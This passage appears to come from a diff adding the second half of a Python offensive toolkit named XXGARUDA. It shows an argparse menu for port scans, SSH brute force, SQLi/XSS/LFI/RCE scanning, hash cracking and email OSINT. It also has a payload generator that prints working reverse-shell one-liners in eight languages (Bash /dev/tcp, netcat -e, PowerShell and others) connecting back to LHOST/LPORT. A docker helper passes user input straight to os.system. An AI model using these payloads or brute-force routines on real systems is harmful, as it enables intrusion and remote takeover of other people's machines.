|
+
def docker_client(command):
|
|
353
|
+
print(f"[*] Docker: {command}")
|
|
354
|
+
os.system(f"docker {command}")
|
|
355
|
+
|
|
356
|
+
def osint_email(email):
|
|
357
|
+
print(f"[*] OSINT on {email}")
|
|
358
|
+
print(f"[+] GitHub: https://github.com/{email.split('@')[0]}")
|
|
359
|
+
print(f"[+] Twitter: https://twitter.com/{email.split('@')[0]}")
|
|
360
|
+
print(f"[+] Instagram: https://instagram.com/{email.split('@')[0]}")
|
|
361
|
+
print(f"[+] Facebook: https://facebook.com/{email.split('@')[0]}")
|
|
362
|
+
|
|
363
|
+
def osint_domain(domain):
|
|
364
|
+
print(f"[*] OSINT on {domain}")
|
|
365
|
+
try:
|
|
366
|
+
ip = socket.gethostbyname(domain)
|
|
367
|
+
print(f"[+] IP: {ip}")
|
|
368
|
+
except:
|
|
369
|
+
pass
|
|
370
|
+
print(f"[+] WHOIS: https://who.is/whois/{domain}")
|
|
371
|
+
print(f"[+] Shodan: https://www.shodan.io/search?query={domain}")
|
|
372
|
+
|
|
373
|
+
def encode_text(text):
|
|
374
|
+
print(f"\n[Base64] {base64.b64encode(text.encode()).decode()}")
|
|
375
|
+
print(f"[URL] {urllib.parse.quote(text)}")
|
|
376
|
+
print(f"[Hex] {text.encode().hex()}")
|
|
377
|
+
|
|
378
|
+
def generate_hashes(text):
|
|
379
|
+
print(f"\n[MD5] {hashlib.md5(text.encode()).hexdigest()}")
|
|
380
|
+
print(f"[SHA1] {hashlib.sha1(text.encode()).hexdigest()}")
|
|
381
|
+
print(f"[SHA256] {hashlib.sha256(text.encode()).hexdigest()}")
|
|
382
|
+
print(f"[SHA512] {hashlib.sha512(text.encode()).hexdigest()}")
|
|
383
|
+
|
|
384
|
+
def generate_code(lang="python"):
|
|
385
|
+
templates = {
|
|
386
|
+
"python": "#!/usr/bin/env python3\ndef main():\n pass\n\nif __name__ == '__main__':\n main()",
|
|
387
|
+
"bash": "#!/bin/bash\n\n# Your script here",
|
|
388
|
+
"html": "<!DOCTYPE html>\n<html>\n<head><title>XXGARUDA</title></head>\n<body>\n</body>\n</html>",
|
|
389
|
+
"js": "// XXGARUDA script\nfunction main() {\n console.log('Hello XXGARUDA');\n}\nmain();",
|
|
390
|
+
"go": "package main\n\nimport \"fmt\"\n\nfunc main() {\n fmt.Println(\"Hello XXGARUDA\")\n}",
|
|
391
|
+
"c": "#include <stdio.h>\n\nint main() {\n printf(\"Hello XXGARUDA\\n\");\n return 0;\n}",
|
|
392
|
+
"java": "public class Main {\n public static void main(String[] args) {\n System.out.println(\"Hello XXGARUDA\");\n }\n}"
|
|
393
|
+
}
|
|
394
|
+
return templates.get(lang, templates["python"])
|
|
395
|
+
|
|
396
|
+
def generate_payloads():
|
|
397
|
+
print("\n[🔥] PAYLOADS:\n")
|
|
398
|
+
print("[Python] python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"LHOST\",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\"])'")
|
|
399
|
+
print("[Bash] bash -i >& /dev/tcp/LHOST/LPORT 0>&1")
|
|
400
|
+
print("[PHP] php -r '$s=fsockopen(\"LHOST\",LPORT);exec(\"/bin/sh -i <&3 >&3 2>&3\");'")
|
|
401
|
+
print("[Netcat] nc -e /bin/sh LHOST LPORT")
|
|
402
|
+
print("[Perl] perl -e 'use Socket;$i=\"LHOST\";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}'")
|
|
403
|
+
print("[Ruby] ruby -rsocket -e 'c=TCPSocket.new(\"LHOST\",LPORT);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'")
|
|
404
|
+
print("[Node] node -e 'require(\"child_process\").spawn(\"/bin/sh\",[],{stdio:[\"pipe\",\"pipe\",\"pipe\"]}).stdin.on(\"data\",(c)=>require(\"net\").connect(LPORT,\"LHOST\").pipe(c))'")
|
|
405
|
+
print("[PowerShell] $client = New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()")
|
|
406
|
+
|
|
407
|
+
def main():
|
|
408
|
+
global VERBOSE
|
|
409
|
+
banner()
|
|
410
|
+
parser = argparse.ArgumentParser(description="XXGARUDA — The Ultimate Tool")
|
|
411
|
+
|
|
412
|
+
parser.add_argument("--SCAN", "-s", action="store_true", help="Port scan")
|
|
413
|
+
parser.add_argument("--OS", action="store_true", help="OS detection")
|
|
414
|
+
parser.add_argument("--RECON", "-r", action="store_true", help="Subdomain enumeration")
|
|
415
|
+
parser.add_argument("--DNS", action="store_true", help="DNS enumeration")
|
|
416
|
+
parser.add_argument("--BRUTE", "-b", action="store_true", help="Brute-force SSH")
|
|
417
|
+
parser.add_argument("--FUZZ", "-f", action="store_true", help="Directory fuzzing")
|
|
418
|
+
parser.add_argument("--SQLI", action="store_true", help="SQL injection")
|
|
419
|
+
parser.add_argument("--XSS", action="store_true", help="XSS scanner")
|
|
420
|
+
parser.add_argument("--LFI", action="store_true", help="LFI scanner")
|
|
421
|
+
parser.add_argument("--RCE", action="store_true", help="RCE scanner")
|
|
422
|
+
parser.add_argument("--SMB", action="store_true", help="SMB enumeration")
|
|
423
|
+
parser.add_argument("--LDAP", action="store_true", help="LDAP enumeration")
|
|
424
|
+
parser.add_argument("--SNMP", action="store_true", help="SNMP enumeration")
|
|
425
|
+
parser.add_argument("--NC", action="store_true", help="Netcat listener")
|
|
426
|
+
parser.add_argument("--NC-CONNECT", action="store_true", help="Netcat connect")
|
|
427
|
+
parser.add_argument("--SSH", action="store_true", help="SSH client")
|
|
428
|
+
parser.add_argument("--SCP", action="store_true", help="SCP client")
|
|
429
|
+
parser.add_argument("--RSYNC", action="store_true", help="RSync client")
|
|
430
|
+
parser.add_argument("--GIT", action="store_true", help="Git client")
|
|
431
|
+
parser.add_argument("--DOCKER", action="store_true", help="Docker client")
|
|
432
|
+
parser.add_argument("--CRACK", "-c", action="store_true", help="Hash cracker")
|
|
433
|
+
parser.add_argument("--EXPLOIT", "-e", action="store_true", help="Payload generator")
|
|
434
|
+
parser.add_argument("--OSINT", "-o", action="store_true", help="OSINT engine")
|
|
435
|
+
parser.add_argument("--ENCODE", "-enc", action="store_true", help="Encode text")
|
|
436
|
+
parser.add_argument("--HASH", "-H", action="store_true", help="Generate hashes")
|
|
437
|
+
parser.add_argument("--GENERATE", "-g", action="store_true", help="Generate code")
|
|
438
|
+
parser.add_argument("--TARGET", "-t", help="Target IP or domain")
|
|
439
|
+
parser.add_argument("--URL", "-u", help="Target URL")
|
|
440
|
+
parser.add_argument("--WORDLIST", "-w", help="Wordlist path")
|
|
441
|
+
parser.add_argument("--USER", "-U", help="Username for brute-force")
|
|
442
|
+
parser.add_argument("--PARAM", help="Parameter for SQLi/XSS/LFI/RCE")
|
|
443
|
+
parser.add_argument("--INPUT", "-i", help="Input string")
|
|
444
|
+
parser.add_argument("--HASH-VALUE", help="Hash to crack")
|
|
445
|
+
parser.add_argument("--LANGUAGE", "-lang", default="python", help="Language for code generation")
|
|
446
|
+
parser.add_argument("--PORT", "-p", type=int, default=4444, help="Port for Netcat")
|
|
447
|
+
parser.add_argument("--SOURCE", help="Source file for SCP/RSync")
|
|
448
|
+
parser.add_argument("--DEST", help="Destination for SCP/RSync")
|
|
449
|
+
parser.add_argument("--REPO", help="Git repository URL")
|
|
450
|
+
parser.add_argument("--COMMAND", help="Docker command")
|
|
451
|
+
parser.add_argument("--VERBOSE", "-v", action="store_true", help="Verbose mode")
|
|
452
|
+
|
|
453
|
+
args = parser.parse_args()
|
|
454
|
+
|
|
455
|
+
if args.VERBOSE:
|
|
456
|
+
VERBOSE = True
|
|
457
|
+
|
|
458
|
+
if args.SCAN:
|
|
459
|
+
if not args.TARGET: return print("[!] Need --TARGET")
|
|
460
|
+
scan_ports(args.TARGET)
|
|
461
|
+
elif args.OS:
|
|
462
|
+
if not args.TARGET: return print("[!] Need --TARGET")
|
|
463
|
+
detect_os(args.TARGET)
|
|
464
|
+
elif args.RECON:
|
|
465
|
+
if not args.TARGET or not args.WORDLIST: return print("[!] Need --TARGET and --WORDLIST")
|
|
466
|
+
subdomain_enum(args.TARGET, args.WORDLIST)
|
|
467
|
+
elif args.DNS:
|
|
468
|
+
if not args.TARGET: return print("[!] Need --TARGET")
|
|
469
|
+
dns_enum(args.TARGET)
|
|
470
|
+
elif args.BRUTE:
|
|
471
|
+
if not args.TARGET or not args.USER or not args.WORDLIST:
|
|
472
|
+
return print("[!] Need --TARGET, --USER, --WORDLIST")
|
|
473
|
+
brute_force(args.TARGET, args.USER, args.WORDLIST)
|
|
474
|
+
elif args.FUZZ:
|
|
475
|
+
if not args.URL or not args.WORDLIST: return print("[!] Need --URL and --WORDLIST")
|
|
476
|
+
dir_fuzz(args.URL, args.WORDLIST)
|
|
477
|
+
elif args.SQLI:
|
|
478
|
+
if not args.URL or not args.PARAM: return print("[!] Need --URL and --PARAM")
|
|
479
|
+
sql_injection(args.URL, args.PARAM)
|
|
480
|
+
elif args.XSS:
|
|
481
|
+
if not args.URL or not args.PARAM: return print("[!] Need --URL and --PARAM")
|
|
482
|
+
xss_scan(args.URL, args.PARAM)
|
|
483
|
+
elif args.LFI:
|
|
484
|
+
if not args.URL or not args.PARAM: return print("[!] Need --URL and --PARAM")
|
|
485
|
+
lfi_scan(args.URL, args.PARAM)
|
|
486
|
+
elif args.RCE:
|
|
487
|
+
if not args.URL or not args.PARAM: return print("[!] Need --URL and --PARAM")
|
|
488
|
+
rce_scan(args.URL, args.PARAM)
|
|
489
|
+
elif args.SMB:
|
|
490
|
+
if not args.TARGET: return print("[!] Need --TARGET")
|
|
491
|
+
smb_enum(args.TARGET)
|
|
492
|
+
elif args.LDAP:
|
|
493
|
+
if not args.TARGET: return print("[!] Need --TARGET")
|
|
494
|
+
ldap_enum(args.TARGET)
|
|
495
|
+
elif args.SNMP:
|
|
496
|
+
if not args.TARGET: return print("[!] Need --TARGET")
|
|
497
|
+
snmp_enum(args.TARGET)
|
|
498
|
+
elif args.NC:
|
|
499
|
+
if not args.PORT: return print("[!] Need --PORT")
|
|
500
|
+
netcat_listen(args.PORT)
|
|
501
|
+
elif args.NC_CONNECT:
|
|
502
|
+
if not args.TARGET or not args.PORT: return print("[!] Need --TARGET and --PORT")
|
|
503
|
+
netcat_connect(args.TARGET, args.PORT)
|
|
504
|
+
elif args.SSH:
|
|
505
|
+
if not args.TARGET or not args.USER: return print("[!] Need --TARGET and --USER")
|
|
506
|
+
ssh_client(args.TARGET, args.USER)
|
|
507
|
+
elif args.SCP:
|
|
508
|
+
if not args.TARGET or not args.USER or not args.SOURCE or not args.DEST:
|
|
509
|
+
return print("[!] Need --TARGET, --USER, --SOURCE, --DEST")
|
|
510
|
+
scp_client(args.TARGET, args.USER, args.SOURCE, args.DEST)
|
|
511
|
+
elif args.RSYNC:
|
|
512
|
+
if not args.TARGET or not args.SOURCE or not args.DEST:
|
|
513
|
+
return print("[!] Need --TARGET, --SOURCE, --DEST")
|
|
514
|
+
rsync_client(args.TARGET, args.SOURCE, args.DEST)
|
|
515
|
+
elif args.GIT:
|
|
516
|
+
if not args.REPO: return print("[!] Need --REPO")
|
|
517
|
+
git_client(args.REPO)
|
|
518
|
+
elif args.DOCKER:
|
|
519
|
+
if not args.COMMAND: return print("[!] Need --COMMAND")
|
|
520
|
+
docker_client(args.COMMAND)
|
|
521
|
+
elif args.CRACK:
|
|
522
|
+
if not args.HASH_VALUE or not args.WORDLIST:
|
|
523
|
+
return print("[!] Need --HASH-VALUE and --WORDLIST")
|
|
524
|
+
crack_hash(args.HASH_VALUE, args.WORDLIST)
|
|
525
|
+
elif args.EXPLOIT:
|
|
526
|
+
generate_payloads()
|
|
527
|
+
elif args.OSINT:
|
|
528
|
+
if not args.TARGET: return print("[!] Need --TARGET")
|
|
529
|
+
if "@" in args.TARGET:
|
|
530
|
+
osint_email(args.TARGET)
|
|
531
|
+
else:
|
|
532
|
+
osint_domain(args.TARGET)
|
|
533
|
+
elif args.ENCODE:
|
|
534
|
+
if not args.INPUT: return print("[!] Need --INPUT")
|
|
535
|
+
encode_text(args.INPUT)
|
|
536
|
+
elif args.HASH:
|
|
537
|
+
if not args.INPUT: return print("[!] Need --INPUT")
|
|
538
|
+
generate_hashes(args.INPUT)
|
|
539
|
+
elif args.GENERATE:
|
|
540
|
+
code = generate_code(args.LANGUAGE)
|
|
541
|
+
print(code)
|
|
542
|
+
else:
|
|
543
|
+
parser.print_help()
|
|
544
|
+
|
|
545
|
+
if __name__ == "__main__":
|
|
546
|
+
main()
|